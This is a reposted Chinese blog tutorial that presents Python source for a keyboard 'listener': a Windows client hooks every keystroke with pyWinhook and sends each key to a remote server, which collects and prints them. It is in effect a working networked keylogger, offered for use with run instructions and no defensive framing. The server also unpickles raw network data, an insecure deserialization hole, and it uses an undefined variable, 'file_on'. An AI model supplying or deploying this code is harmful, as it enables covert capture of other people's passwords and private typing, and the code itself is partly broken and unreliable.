python实现监听键盘
作者:noc_13 发布时间:2023-12-01 19:16:17
标签:python,监听键盘
python实现监听键盘,供大家参考,具体内容如下实现服务端
import pickle
from io import BytesIO
import socket
#接收数据
def Server_Recive(ip,port):
socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_obj.bind((ip,port))
socket_obj.listen(5)
file = 1
while True:
connection,address = socket_obj.accept()
#接受的数据
recieved_message = b''
recieved_message_fragment = connection.recv(1024)
while recieved_message_fragment:
recieved_message += recieved_message_fragment
recieved_message_fragment = connection.recv(1024)
try:
obj = pickle.loads(recieved_message)
print(obj['Key'],end=' ')
except EOFError:
file_name = 'recv_image_' + str(file_on) + '.bmp'
recv_image = open(file_name,'wb')
recv_image.write(recieved_message)
file_on += 1
connection.close()
if __name__ == '__main__':
Server_IP = '0.0.0.0'
Server_Port = 6666
Server_Recive(Server_IP,Server_Port)
键盘监听程序
#键盘监听
import pythoncom,pyWinhook,pickle,socket
from io import BytesIO
def Client_PIC(ip,port,obj):
try:
msg = pickle.dumps(obj)
send_message = BytesIO(msg)
send_message_fragment = send_message.read(1024)
except:
send_message = obj
send_message_fragment = send_message.read(1024)
socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_obj.connect((ip,port))
while send_message_fragment:
socket_obj.send(send_message_fragment)
send_message_fragment = send_message.read(1024)
socket_obj.close()
def OnkeyBoardEvent(event):
dict_key = {}
dict_key['MessageName'] = event.MessageName
dict_key['Key'] = event.Key
Client_PIC('你自己的ip地址',6666,dict_key)
return True
def Keylogger():
hm = pyWinhook.HookManager()
hm.KeyDown = OnkeyBoardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Keylogger()
其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述
运行(先运行服务端,而后运行监听程序)
来源:https://blog.csdn.net/weixin_43893278/article/details/116087163
0
投稿
猜你喜欢
- 对模型中的字段进行验证Django模型中的内置字段验证是所有Django字段预定义的默认验证。每个字段都带有来自Django验证器的内置验证
- 目录1、梳理一下Git、github和gitee这三个之间的关系:1.1、Github1.2、Gitee 1.3、Git2、如何安
- 本文实例讲述了C#简单访问SQLite数据库的方法。分享给大家供大家参考,具体如下:下载最新版SQLite(http://www.sqlit
- python脚本执行的3种方法:(找到自己能够使用的方法,能用的方法就是好方法)方法一:交互模式直接执行语句交互模式下直接编写执行 Pyth
- 本文实例讲述了python通过装饰器检查函数参数数据类型的方法。分享给大家供大家参考。具体分析如下:这段代码定义了一个python装饰器,通
- 二元运算二元运算是指由两个元素形成第三个元素的一种规则,例如数的加法及乘法;更一般地,由两个集合形成第三个集合的产生方法或构成规则称为二次运
- 我就废话不多说了,大家还是直接看代码吧~//isSymbol表示有无符号func BytesToInt(b []byte, isSymbol
- IDA Pro 6.0使用Qt 框架实现了跨平台的UI。它的好处是插件编写者还可以直接使用 Qt 开发跨平台 UI。但是编剧呢?在这篇博文中
- 默认情况下,Map输出的结果会对Key进行默认的排序,但是有时候需要对Key排序的同时还需要对Value进行排序,这时候就要用到二次排序了。
- 本文实例为大家分享了python+tkinter实现学生管理系统的具体代码,供大家参考,具体内容如下 from tkinter i
- 1.自定义管理器(Manager)在语句Book.objects.all()中, objects 是一个特殊的属性,通过它来查询数
- 废话不多说了,直接给大家贴代码了,具体代码如下所示:jquery读取xml文件 <!DOCTYPE html PUBLIC "
- python爬虫用mongodb的原因:1、文档结构的存储方式简单讲就是可以直接存json,list2、不要事先定义”表”,随时可以创建3、
- 前言很多时候我们要用到图片上传功能,如果图片一直用放在别的网站上,通过加载网址的方式来显示的话其实也挺麻烦的,我们通过使用 django-f
- 二叉树的反序列化反序列化树的反序列化故名知意就是将一个序列化成字符串或者其它形式的数据重新的生成一颗二叉树,如下这颗二叉树将它序列化成字符串
- 本文实例讲述了创建Django项目的方法。分享给大家供大家参考,具体如下:创建Django项目创建一个HelloDjango项目GitHub
- 写完这个项目后,导师说这个你完全可以当作毕业项目使用了,写的很全,很多的都设计考虑周全,但我的脚步绝不止于现在,我想要的是星辰大海!与君共勉
- 1. 时间与时区1.1 时间标准UTC,世界标准时间,是现在的时间标准,以原子时计时。GMT,格林威治时间,是以前的时间标准,规定太阳每天经
- 生产图片区域,上传按钮#btn可替换自己想要的图片<ul id="ul_pics" class="ul_
- Any docsAny 是一种特殊的类型。静态类型检查器将所有类型视为与 Any 兼容,反之亦然, Any 也与所有类型相兼容。这意味着可对